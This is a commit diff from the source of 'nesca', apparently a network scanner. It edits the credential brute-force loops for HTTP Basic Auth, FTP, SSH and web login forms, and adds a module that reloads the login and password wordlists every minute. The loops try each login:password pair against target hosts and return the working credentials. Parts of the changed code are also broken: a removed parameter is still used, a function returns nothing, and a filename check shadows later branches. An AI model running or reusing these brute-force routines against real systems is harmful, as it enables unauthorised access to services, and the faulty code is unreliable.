mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-12-26 01:11:47 +00:00
Auto file update carcass
This commit is contained in:
parent
462729914a
commit
f0f24067be
@ -36,26 +36,33 @@ lopaStr BA::BABrute(const char *ip, const int port) {
|
||||
ZeroMemory(lps.login, sizeof(lps.login));
|
||||
ZeroMemory(lps.pass, sizeof(lps.pass));
|
||||
ZeroMemory(lps.other, sizeof(lps.other));
|
||||
int passCounter = 0;
|
||||
int passCounter = 0;
|
||||
|
||||
strcpy(lps.login, "UNKNOWN");
|
||||
|
||||
char login[128] = {0};
|
||||
char pass[32] = {0};
|
||||
|
||||
for(int i = 0; i < MaxLogin; ++i) {
|
||||
if(!lUpdated) Sleep(100);
|
||||
strcpy(login, loginLst[i]);
|
||||
for (int j = 0; j < MaxPass; ++j) {
|
||||
if (!globalScanFlag) return lps;
|
||||
if(!pUpdated) Sleep(100);
|
||||
strcpy(pass, passLst[j]);
|
||||
|
||||
lpString = string(loginLst[i]) + ":" + string(passLst[j]);
|
||||
lpString = string(login) + ":" + string(pass);
|
||||
|
||||
if (Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString) == -2) return lps;
|
||||
|
||||
if(checkOutput(&buffer, ip, port)) {
|
||||
strcpy(lps.login, loginLst[i]);
|
||||
strcpy(lps.pass, passLst[j]);
|
||||
strcpy(lps.login, login);
|
||||
strcpy(lps.pass, pass);
|
||||
return lps;
|
||||
};
|
||||
|
||||
if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
||||
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||
|
||||
Sleep(100);
|
||||
|
17
FTPAuth.cpp
17
FTPAuth.cpp
@ -21,30 +21,39 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
||||
int res = 0;
|
||||
int passCounter = 0;
|
||||
|
||||
char login[128] = {0};
|
||||
char pass[32] = {0};
|
||||
|
||||
for(int i = 0; i < MaxLogin; ++i)
|
||||
{
|
||||
if(!globalScanFlag) return lps;
|
||||
if(!lUpdated) Sleep(100);
|
||||
if(strlen(loginLst[i]) <= 1) continue;
|
||||
|
||||
strcpy(login, loginLst[i]);
|
||||
|
||||
for(int j = 0; j < MaxPass; ++j)
|
||||
{
|
||||
if(!globalScanFlag) return lps;
|
||||
if(!pUpdated) Sleep(100);
|
||||
if(strlen(passLst[j]) <= 1) continue;
|
||||
|
||||
lpString = string(loginLst[i]) + ":" + string(passLst[j]);
|
||||
strcpy(pass, passLst[j]);
|
||||
|
||||
lpString = string(login) + ":" + string(pass);
|
||||
|
||||
res = Connector::nConnect((string("ftp://") + string(ip)).c_str(), port, &buffer, NULL, NULL, &lpString);
|
||||
if (res == -2) return lps;
|
||||
else if (res != -1) {
|
||||
if (!globalScanFlag) return lps;
|
||||
strcpy(lps.login, loginLst[i]);
|
||||
strcpy(lps.pass, passLst[j]);
|
||||
strcpy(lps.login, login);
|
||||
strcpy(lps.pass, pass);
|
||||
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
|
||||
return lps;
|
||||
};
|
||||
|
||||
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
||||
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||
|
||||
Sleep(100);
|
||||
|
475
FileUpdater.cpp
Normal file
475
FileUpdater.cpp
Normal file
@ -0,0 +1,475 @@
|
||||
#include "FileUpdater.h"
|
||||
|
||||
long FileUpdater::oldNegLstSize = 0;
|
||||
long FileUpdater::oldLoginLstSize = 0;
|
||||
long FileUpdater::oldPassLstSize = 0;
|
||||
long FileUpdater::oldSSHLstSize = 0;
|
||||
long FileUpdater::oldWFLoginLstSize = 0;
|
||||
long FileUpdater::oldWFPassLstSize = 0;
|
||||
bool FileUpdater::negUpdated = false;
|
||||
bool FileUpdater::lUpdated = false;
|
||||
bool FileUpdater::pUpdated = false;
|
||||
bool FileUpdater::wflUpdated = false;
|
||||
bool FileUpdater::wfpUpdated = false;
|
||||
bool FileUpdater::sshlpUpdated = false;
|
||||
|
||||
void updateNegatives() {
|
||||
if(GlobalNegatives != NULL)
|
||||
{
|
||||
for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i];
|
||||
delete []GlobalNegatives;
|
||||
GlobalNegatives = NULL;
|
||||
};
|
||||
|
||||
negativeLoader();
|
||||
}
|
||||
void updateLogin() {
|
||||
|
||||
if(loginLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i];
|
||||
delete []loginLst;
|
||||
loginLst = NULL;
|
||||
};
|
||||
|
||||
MaxLogin = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
|
||||
FILE *loginList = fopen("login.txt", "r");
|
||||
|
||||
if(loginList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, loginList) != NULL)
|
||||
{
|
||||
MaxLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(loginList);
|
||||
|
||||
loginLst = new char*[MaxLogin];
|
||||
|
||||
for(int j = 0; j < MaxLogin; j++)
|
||||
{
|
||||
loginLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, loginList) != NULL)
|
||||
{
|
||||
memset(loginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(loginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)");
|
||||
|
||||
fclose(loginList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No login list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
void updatePass() {
|
||||
|
||||
if(passLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxPass; ++i) delete []passLst[i];
|
||||
delete []passLst;
|
||||
passLst = NULL;
|
||||
};
|
||||
|
||||
MaxPass = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
|
||||
FILE *passList = fopen("pass.txt", "r");
|
||||
|
||||
if(passList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, passList) != NULL)
|
||||
{
|
||||
MaxPass++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(passList);
|
||||
|
||||
passLst = new char*[MaxPass];
|
||||
|
||||
for(int j = 0; j < MaxPass; j++)
|
||||
{
|
||||
passLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, passList) != NULL)
|
||||
{
|
||||
memset(passLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(passLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)");
|
||||
|
||||
fclose(passList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No password list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
void updateSSH() {
|
||||
|
||||
if(sshlpLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i];
|
||||
delete []sshlpLst;
|
||||
sshlpLst = NULL;
|
||||
};
|
||||
|
||||
MaxSSHPass = 0;
|
||||
|
||||
FILE *sshlpList;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
sshlpList = fopen("sshpass.txt", "r");
|
||||
|
||||
if(sshlpList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||
{
|
||||
++MaxSSHPass;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(sshlpList);
|
||||
|
||||
sshlpLst = new char*[MaxSSHPass];
|
||||
|
||||
for(int j = 0; j < MaxSSHPass; j++)
|
||||
{
|
||||
sshlpLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||
{
|
||||
memset(sshlpLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(sshlpLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)");
|
||||
|
||||
fclose(sshlpList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No password/login list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
void updateWFLogin() {
|
||||
|
||||
if(wfLoginLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i];
|
||||
delete []wfLoginLst;
|
||||
wfLoginLst = NULL;
|
||||
};
|
||||
|
||||
MaxWFLogin = 0;
|
||||
|
||||
FILE *wfLoginList;
|
||||
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
wfLoginList = fopen("wflogin.txt", "r");
|
||||
|
||||
if(wfLoginList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||
{
|
||||
MaxWFLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(wfLoginList);
|
||||
|
||||
wfLoginLst = new char*[MaxWFLogin];
|
||||
|
||||
for(int j = 0; j < MaxWFLogin; j++)
|
||||
{
|
||||
wfLoginLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||
{
|
||||
memset(wfLoginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(wfLoginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)");
|
||||
fclose(wfLoginList);
|
||||
}
|
||||
}
|
||||
void updateWFPass() {
|
||||
|
||||
if(wfPassLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i];
|
||||
delete []wfPassLst;
|
||||
wfPassLst = NULL;
|
||||
};
|
||||
|
||||
MaxWFPass = 0;
|
||||
|
||||
FILE *wfPassList;
|
||||
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
wfPassList = fopen("wfpass.txt", "r");
|
||||
|
||||
if(wfPassList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||
{
|
||||
MaxWFPass++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(wfPassList);
|
||||
|
||||
wfPassLst = new char*[MaxWFPass];
|
||||
|
||||
for(int j = 0; j < MaxWFPass; j++)
|
||||
{
|
||||
wfPassLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||
{
|
||||
memset(wfPassLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(wfPassLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)");
|
||||
fclose(wfPassList);
|
||||
}
|
||||
}
|
||||
|
||||
long getFileSize(const char *fileName) {
|
||||
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
|
||||
return in.tellg();
|
||||
}
|
||||
|
||||
bool updateList(const char *fileName) {
|
||||
long sz = getFileSize(fileName);
|
||||
|
||||
if(strstr(fileName, "negatives") != NULL) {
|
||||
if(sz != oldNegLstSize) {
|
||||
negUpdated = false;
|
||||
oldNegLstSize = sz;
|
||||
updateNegatives();
|
||||
negUpdated = true;
|
||||
}
|
||||
} else if(strstr(fileName, "login") != NULL) {
|
||||
if(sz != oldLoginLstSize) {
|
||||
lUpdated = false;
|
||||
oldLoginLstSize = sz;
|
||||
updateLogin();
|
||||
lUpdated = true;
|
||||
}
|
||||
} else if(strstr(fileName, "pass") != NULL) {
|
||||
if(sz != oldPassLstSize) {
|
||||
pUpdated = false;
|
||||
oldPassLstSize = sz;
|
||||
updatePass();
|
||||
pUpdated = true;
|
||||
}
|
||||
} else if(strstr(fileName, "sshpass") != NULL) {
|
||||
if(sz != oldSSHLstSize) {
|
||||
sshlpUpdated = false;
|
||||
oldSSHLstSize = sz;
|
||||
updateSSH();
|
||||
sshlpUpdated = true;
|
||||
}
|
||||
} else if(strstr(fileName, "wflogin") != NULL) {
|
||||
if(sz != oldWFLoginLstSize) {
|
||||
wflUpdated = false;
|
||||
oldWFLoginLstSize = sz;
|
||||
updateWFLogin();
|
||||
wflUpdated = true;
|
||||
}
|
||||
} else if(strstr(fileName, "wfpass") != NULL) {
|
||||
if(sz != oldWFPassLstSize) {
|
||||
wfpUpdated = false;
|
||||
oldWFPassLstSize = sz;
|
||||
updateWFPass();
|
||||
wfpUpdated = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void ReadUTF8(FILE* nFile, char *cp) {
|
||||
char buffFG[256] = {0};
|
||||
int i = 0;
|
||||
GlobalNegativeSize = 0;
|
||||
|
||||
if(nFile != NULL)
|
||||
{
|
||||
while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL)
|
||||
{
|
||||
if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 &&
|
||||
((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false)
|
||||
&& (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false)
|
||||
{
|
||||
++GlobalNegativeSize;
|
||||
};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(nFile);
|
||||
if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0);
|
||||
|
||||
GlobalNegatives = new char*[GlobalNegativeSize + 2];
|
||||
|
||||
while(fgets(buffFG, sizeof(buffFG), nFile) != NULL)
|
||||
{
|
||||
if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 ||
|
||||
(buffFG[0] == '/' && buffFG[1] == '/'))
|
||||
{
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
continue;
|
||||
};
|
||||
|
||||
if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t')
|
||||
{
|
||||
char buffFGT[256] = {0};
|
||||
strcpy(buffFGT, buffFG);
|
||||
char *ptr1 = strstr(buffFGT, "\t\t\t");
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
strcpy(buffFG, ptr1 + 3);
|
||||
};
|
||||
|
||||
int bSz = strlen(buffFG);
|
||||
if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10)))
|
||||
{
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
continue;
|
||||
};
|
||||
if(buffFG[bSz] == 13 || buffFG[bSz] == 10)
|
||||
{
|
||||
buffFG[bSz] = '\0';
|
||||
};
|
||||
if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10)
|
||||
{
|
||||
buffFG[bSz - 1] = '\0';
|
||||
};
|
||||
if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10)
|
||||
{
|
||||
buffFG[bSz - 2] = '\0';
|
||||
};
|
||||
|
||||
if(strstr((char*)buffFG, "\n") != 0)
|
||||
{
|
||||
std::string res;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||
#else
|
||||
res = std::string(buffFG);
|
||||
#endif
|
||||
int sz = res.size();
|
||||
GlobalNegatives[i] = new char[sz + 1];
|
||||
ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i]));
|
||||
memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1);
|
||||
memset(GlobalNegatives[i] + sz - 1, '\0', 1);
|
||||
++i;
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string res;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||
#else
|
||||
res = std::string(buffFG);
|
||||
#endif
|
||||
int sz = res.size();
|
||||
GlobalNegatives[i] = new char[sz + 1];
|
||||
ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i]));
|
||||
memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz);
|
||||
memset(GlobalNegatives[i] + sz, '\0', 1);
|
||||
++i;
|
||||
};
|
||||
|
||||
unsigned char buffcpy2[256] = {0};
|
||||
int sz = strlen((char*)buffFG);
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz);
|
||||
#else
|
||||
strncpy((char*)buffcpy2, buffFG, sz);
|
||||
#endif
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)");
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
fclose(nFile);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No negative list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
|
||||
void negativeLoader() {
|
||||
FILE *nFile = fopen("negatives.txt", "rb");
|
||||
|
||||
if( nFile != NULL)
|
||||
{
|
||||
unsigned char b[3] = {0};
|
||||
fread(b,1,2, nFile);
|
||||
if( b[0] == 0xEF && b[1] == 0xBB)
|
||||
{
|
||||
fread(b,1,1,nFile); // 0xBF
|
||||
ReadUTF8(nFile, "UTF");
|
||||
}
|
||||
else
|
||||
{
|
||||
ReadUTF8(nFile, "1251");
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
int FileUpdater::updateLists() {
|
||||
while(globalScanFlag) {
|
||||
bool res = updateList("negatives.txt");
|
||||
res = updateList("login.txt");
|
||||
res = updateList("pass.txt");
|
||||
res = updateList("sshpass.txt");
|
||||
res = updateList("wflogin.txt");
|
||||
res = updateList("wfpass.txt");
|
||||
|
||||
Sleep(60000);
|
||||
}
|
||||
}
|
33
FileUpdater.h
Normal file
33
FileUpdater.h
Normal file
@ -0,0 +1,33 @@
|
||||
#ifndef FILEUPDATER_H
|
||||
#define FILEUPDATER_H
|
||||
|
||||
#ifndef Sleep
|
||||
#define Sleep(msecs) usleep((msecs)*1000)
|
||||
#endif
|
||||
|
||||
#include <fstream>
|
||||
#include "externData.h"
|
||||
#include "externFunctions.h"
|
||||
|
||||
class FileUpdater {
|
||||
public:
|
||||
static long oldNegLstSize;
|
||||
static long oldLoginLstSize;
|
||||
static long oldPassLstSize;
|
||||
static long oldSSHLstSize;
|
||||
static long oldWFLoginLstSize;
|
||||
static long oldWFPassLstSize;
|
||||
static bool negUpdated;
|
||||
static bool lUpdated;
|
||||
static bool pUpdated;
|
||||
static bool wflUpdated;
|
||||
static bool wfpUpdated;
|
||||
static bool sshlpUpdated;
|
||||
|
||||
public:
|
||||
static int updateLists();
|
||||
static void passLoginLoader();
|
||||
static void negativeLoader();
|
||||
};
|
||||
|
||||
#endif // FILEUPDATER_H
|
@ -92,6 +92,7 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
||||
for(int i = 0; i < MaxSSHPass; ++i)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
if(!sshlpUpdated) Sleep(100);
|
||||
strcpy(temp, sshlpLst[i]);
|
||||
ptr1 = strstr(temp, ":");
|
||||
if (ptr1 == NULL) {
|
||||
|
@ -6,8 +6,8 @@ lopaStr WFClass::parseResponse(const char *ip,
|
||||
const int port,
|
||||
const std::string *buffer,
|
||||
const char* formVal,
|
||||
const int *iIndex,
|
||||
const int *jIndex) {
|
||||
const char *login,
|
||||
const char *pass) {
|
||||
|
||||
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"};
|
||||
|
||||
@ -32,9 +32,9 @@ lopaStr WFClass::parseResponse(const char *ip,
|
||||
if(*iIndex == 0) return result;
|
||||
|
||||
stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " +
|
||||
QString(wfLoginLst[*iIndex]) + ":" + QString(wfPassLst[*jIndex]));
|
||||
strcpy(result.login, wfLoginLst[*iIndex]);
|
||||
strcpy(result.pass, wfPassLst[*jIndex]);
|
||||
QString(login) + ":" + QString(pass));
|
||||
strcpy(result.login, login);
|
||||
strcpy(result.pass, pass);
|
||||
return result;
|
||||
|
||||
} else {
|
||||
@ -60,14 +60,22 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
||||
int passCounter = 0;
|
||||
int firstCycle = 0;
|
||||
|
||||
char login[128] = {0};
|
||||
char pass[32] = {0};
|
||||
|
||||
for(int i = 0; i < MaxWFLogin; ++i)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
if(!wflUpdated) Sleep(100);
|
||||
strcpy(login, wfLoginLst[i]);
|
||||
|
||||
for(int j = firstCycle; j < MaxWFPass; ++j)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
if(!wfpUpdated) Sleep(100);
|
||||
strcpy(pass, wfPassLst[j]);
|
||||
|
||||
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4;
|
||||
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4;
|
||||
|
||||
if(rSize > 256) {
|
||||
stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")");
|
||||
@ -75,15 +83,17 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
||||
};
|
||||
|
||||
char nip[256] = {0};
|
||||
sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, wfLoginLst[i], passVal, wfPassLst[j]);
|
||||
sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, login, passVal, pass);
|
||||
|
||||
std::string buffer;
|
||||
Connector::nConnect(nip, port, &buffer);
|
||||
|
||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; login/pass: "+ QString(login) + ":" + QString(pass) +
|
||||
"; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
||||
++passCounter;
|
||||
|
||||
result = parseResponse(ip, port, &buffer, formVal, &i, &j);
|
||||
result = parseResponse(ip, port, &buffer, formVal, login, pass);
|
||||
if(i == 0) ++i;
|
||||
}
|
||||
firstCycle = 1;
|
||||
@ -103,14 +113,22 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
||||
int passCounter = 0;
|
||||
int firstCycle = 0;
|
||||
|
||||
char login[128] = {0};
|
||||
char pass[32] = {0};
|
||||
|
||||
for(int i = 0; i < MaxWFLogin; ++i)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
if(!wflUpdated) Sleep(100);
|
||||
strcpy(login, wfLoginLst[i]);
|
||||
|
||||
for(int j = firstCycle; j < MaxWFPass; ++j)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
if(!wfpUpdated) Sleep(100);
|
||||
strcpy(pass, wfPassLst[j]);
|
||||
|
||||
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4;
|
||||
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4;
|
||||
|
||||
if(rSize > 256) {
|
||||
stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")");
|
||||
@ -120,15 +138,17 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
||||
char nip[256] = {0};
|
||||
char postData[256] = {0};
|
||||
sprintf(nip, "%s%s", ip, actionVal);
|
||||
sprintf(postData, "%s=%s&%s=%s", userVal, wfLoginLst[i], passVal, wfPassLst[j]);
|
||||
sprintf(postData, "%s=%s&%s=%s", userVal, login, passVal, pass);
|
||||
|
||||
std::string buffer;
|
||||
Connector::nConnect(nip, port, &buffer, postData);
|
||||
|
||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " +
|
||||
QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||
QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
||||
++passCounter;
|
||||
|
||||
return parseResponse(ip, port, &buffer, formVal, &i, &j);
|
||||
return parseResponse(ip, port, &buffer, formVal, login, pass);
|
||||
if(i == 0) ++i;
|
||||
}
|
||||
firstCycle = 1;
|
||||
|
@ -41,7 +41,8 @@ SOURCES +=\
|
||||
BasicAuth.cpp \
|
||||
FTPAuth.cpp \
|
||||
Threader.cpp \
|
||||
SSHAuth.cpp
|
||||
SSHAuth.cpp \
|
||||
FileUpdater.cpp
|
||||
|
||||
|
||||
HEADERS += ActivityDrawerTh_HorNet.h \
|
||||
@ -69,7 +70,8 @@ HEADERS += ActivityDrawerTh_HorNet.h \
|
||||
BruteUtils.h \
|
||||
FTPAuth.h \
|
||||
Threader.h \
|
||||
SSHAuth.h
|
||||
SSHAuth.h \
|
||||
FileUpdater.h
|
||||
|
||||
FORMS += nesca_3.ui
|
||||
|
||||
|
106
nesca_3.cpp
106
nesca_3.cpp
@ -471,51 +471,55 @@ void nesca_3::slotDrawTextPlacers()
|
||||
sceneTextPlacer->addLine(85, 110, 90, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 110, 83, 110, penPT);
|
||||
|
||||
QGraphicsTextItem *item = sceneTextPlacer->addText("- Anomalies", fnt);
|
||||
#if (!defined(WIN32) && !defined(_WIN32) && !defined(__WIN32)) || defined(__CYGWIN__)
|
||||
int linuxOffsetKOSTYL = 3;
|
||||
#endif
|
||||
|
||||
QGraphicsTextItem *item = sceneTextPlacer->addText("- Anomalies", fnt);
|
||||
item->setX(25);
|
||||
item->setY(94);
|
||||
item->setY(94+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
|
||||
sceneTextPlacer->addLine(118, 120, 130, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 121, 117, 121, penPT);
|
||||
item = sceneTextPlacer->addText("- Webforms", fnt);
|
||||
item = sceneTextPlacer->addText("- Webforms", fnt);
|
||||
item->setX(25);
|
||||
item->setY(105);
|
||||
item->setY(105+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
|
||||
sceneTextPlacer->addLine(155, 130, 170, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 131, 154, 131, penPT);
|
||||
item = sceneTextPlacer->addText("- Basic Auth", fnt);
|
||||
item = sceneTextPlacer->addText("- Basic Auth", fnt);
|
||||
item->setX(25);
|
